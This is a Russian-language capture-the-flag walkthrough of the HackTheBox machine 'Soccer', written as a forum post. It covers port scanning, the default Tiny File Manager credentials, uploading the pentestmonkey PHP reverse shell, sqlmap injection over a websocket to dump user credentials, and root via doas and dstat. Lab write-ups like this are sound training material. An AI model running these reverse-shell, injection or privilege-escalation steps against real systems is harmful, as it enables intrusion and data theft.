Приветствую,
Кодебай
! Сегодня пройдём Soccer
- лёгкую линуксовую машину с площадки HackTheBox
. Приятного чтения, друзья Разведка
Начинаем, как всегда со сканирования портов, используем флаг
-sC
, чтобы использовать стандартные скрипты, -sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV 10.10.11.194 -oN nmap.out
Bash:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Fri, 23 Jun 2023 10:33:35 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Fri, 23 Jun 2023 10:33:35 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Fri, 23 Jun 2023 10:33:36 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
У нас есть три открытых
TCP
-порта: 22
, 80
и 9091
. Начнём с 80
-го:При переходе на
http://10.10.11.194
нас сразу же перенаправляет на soccer.htb
. В таком случае следует внести IP
-адрес и домен в файл /etc/hosts
. Сделать это можно вот таким вот образом:Теперь мы можем попасть на домен:
На сайте я ничего интересного не обнаружил, поэтому решил профаззить каталоги и файлы:
Bash:
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://soccer.htb/ -t 25 -x txt,html
Нашлась директория
tiny
. Давайте посмотрим что в ней:Тут нас приветствует
Tiny File Manager
. Всегда, когда обнаруживаете подобные панели - сразу же ищите стандартные данные от них. Такие мисконфиги очень популярны в CTF
:В данном случае стандартное имя пользователя для админа это
admin
, а пароль admin@123
. Для пользователя это user
и 12345
.Пробуем войти от лица администратора:
Взятие www-data
Теперь у нас есть доступ к файловому менеджеру. Через него мы можем загрузить вредоносный
PHP
-файл и получить реверс шелл.Для начала скачаем на нашу машину следующий файл -
Ссылка скрыта от гостей
:
Bash:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Это готовый реверс шелл, который был написан на
PHP
. Теперь отредактируем его - в $ip
нам нужно вставить наш IP
-адрес в VPN
-сети, а в $port
, соответственно, порт:Теперь ставим листенер на порт, который мы указали в
PHP
-файле:Сразу же в каталог, в котором мы оказались изначально, загрузить файл не получилось, поэтому переходим в
tiny
:Затем в
uploads
:И нажимаем кнопку
“Upload”
:Прожимаем область с текстом
“Drop files here to upload”
и выбираем php-reverse-shell.php
:Файл загружен, теперь нужно заставить веб-сервер запустить
PHP
-код, который расположен в нём:Нажимаем на
“php-reverse-shell.php”
, а затем на кнопку “Open”
:И получаем сессию от лица пользователя веб-сервера
www-data
:Стабилизируем оболочку с помощью
python3
:
Bash:
python3 -c ‘import pty;pty.spawn(”/bin/bash”);’
Взятие пользователя
К сожалению, на машине повысить привилегии в данном случае не получилось. Но мы можем обнаружить следующий конфигурационный файл
Nginx’а
, где есть поддомен soc-player.soccer.htb
:Вносим его в
/etc/hosts
и переходим на soc-player.soccer.htb
:Тут мы можем посмотреть матчи, авторизоваться и зарегистрироваться. Для начала выполним последнее:
Теперь авторизуемся:
Отлично. Тут написано, что
ID
нашего билета равен 52405
. Похоже, что тут есть какое-то обращение к базе данных:Попробуем ввести в форму
52405
:Отправляем запрос и получаем
“Ticket Exists”
:То есть данный сервис проверяет валидность нашего билета по
ID
через базу данных. Попробуем проэксплуатировать SQL
-инъекцию:1 or 1
- наш тикет существует Посмотрим исходный
HTML
-код страницы:Запросы идут через веб-сокеты и
9091
порт, который был в сканировании nmap
. В таком случае мы можем попробовать использовать sqlmap
, который поддерживает веб-сокеты, чтобы вытащить нужные нам данные из базы данных. Для начала посмотрим какие есть базы данных с помощью опции --dbs
:
Bash:
sqlmap -u "ws://soc-player.soccer.htb:9091" --level 5 --risk 3 --data '{"id": "*"}' --dbs --batch --technique=B --threads 10
1
, 2
, 3
и 5
база данных - генерируются автоматически. Следовательно, нам нужна soccer_db
: используем опцию -D
, чтобы указать название БД и --dump
. чтобы получить из неё таблицы с данными:
Bash:
sqlmap -u "ws://soc-player.soccer.htb:9091" --level 5 --risk 3 --data '{"id": "*"}' --dbs --batch --technique=B --threads 10 -D soccer_db --dump
Самое интересное это:
Код:
player@player.htb
PlayerOftheMatch2022
Эти данные могут подойти для пользователя
player
. Попробуем подключиться по SSH
:Взятие рута
Скачем программу
[URL='http://linpeas.sh/']linpeas.sh[/URL]
с нашего хоста в каталог /tmp
на удалённую машину (про linpeas
и то, как это делается я рассказывал в прошлых прохождениях):Даём права на запуск (
+x
) и запускаем. Во вкладке с “интересными” правами мы можем увидеть /usr/local/bin/doas
с SUID
-битом:Doas
, как и sudo
позволяет запускать приложения от имени других пользователей. Настроить doas
можно через doas.conf
(
Ссылка скрыта от гостей
):Ищем конфиг с помощью
whereis
и видим, что мы можем запускать /usr/bin/dstat
с привилегиями суперпользователя. Проверяем:Запуск
dstat
через doas
работает, отлично. Теперь заглянем на GTFOBINS
(
Ссылка скрыта от гостей
) - как можно повысить привилегии, если мы можем запускать dstat
с правами суперпользователя:Нам нужна вкладка
“Sudo”
. И просто повторяем эти две строки:Рут получен.
Огромное спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях
Последнее редактирование модератором: